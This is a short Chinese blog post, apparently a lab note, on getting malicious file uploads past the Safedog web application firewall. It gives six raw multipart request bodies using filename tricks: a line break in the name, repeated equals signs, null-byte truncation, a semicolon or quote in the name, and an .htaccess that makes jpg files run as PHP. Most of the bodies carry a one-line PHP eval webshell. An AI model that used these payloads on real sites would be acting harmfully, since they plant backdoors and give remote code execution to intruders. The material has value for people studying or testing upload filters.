zoukankan      html  css  js  c++  java
  • 文件上传绕过WAF

    文件上传

    文件上传实质上还是客户端的POST请求,消息主体是一些上传信息。前端上传页面需要指定
    enctype为multipart/from-data才能正常上传文件。
    

    此处不讲各种中间件解析漏洞只列举集几种safe_dog对脚本文件上传拦截的绕过
    靶机环境:win2003+safe_dog4.0.23957+webug中的上传

    1、换行

    Content-Disposition: form-data; name="file"; filename="1.p
    hp"
    Content-Type: image/jpeg
    <?php @eval($_POST[1])?>
    -----------------------------127619278770
    

    2、多个等号(不止2,3个)

    Content-Disposition: form-data; name="file"; filename=="2.php"
    Content-Type: image/jpeg
    <?php @eval($_POST[1])?>
    -----------------------------127619278770
    

    Content-Disposition: form-data; name="file"; filename==="3.php"
    Content-Type: image/jpeg
    <?php @eval($_POST[1])?>
    -----------------------------127619278770
    

    3、00截断

    Content-Disposition: form-data; name="file"; filename="4.php%00"
    Content-Type: image/jpeg
    <?php @eval($_POST[1])?>
    -----------------------------127619278770
    

    4、文件名+;号

    Content-Disposition: form-data; name="file"; filename="6;.php"
    Content-Type: image/jpeg
    <?php phpinfo()?>
    -----------------------------127619278770
    


    5、文件名+‘

    Content-Disposition: form-data; name="file"; filename="7'.php"
    Content-Type: image/jpeg
    <?php phpinfo()?>
    -----------------------------127619278770
    


    6、上传.htaccess

    Content-Disposition: form-data; name="file"; filename=".htaccess"
    Content-Type: image/jpeg
    AddType application/x-httpd-php jpg
    -----------------------------127619278770
    



  • 相关阅读:
    P4009 汽车加油行驶问题
    P2761 软件补丁问题
    P1251 餐巾计划问题
    P2766 最长不下降子序列问题
    P4011 孤岛营救问题
    P2765 魔术球问题
    P2770 航空路线问题
    P2762 太空飞行计划问题
    P2764 最小路径覆盖问题
    P3355 骑士共存问题
  • 原文地址:https://www.cnblogs.com/cwkiller/p/11651054.html
Copyright © 2011-2022 走看看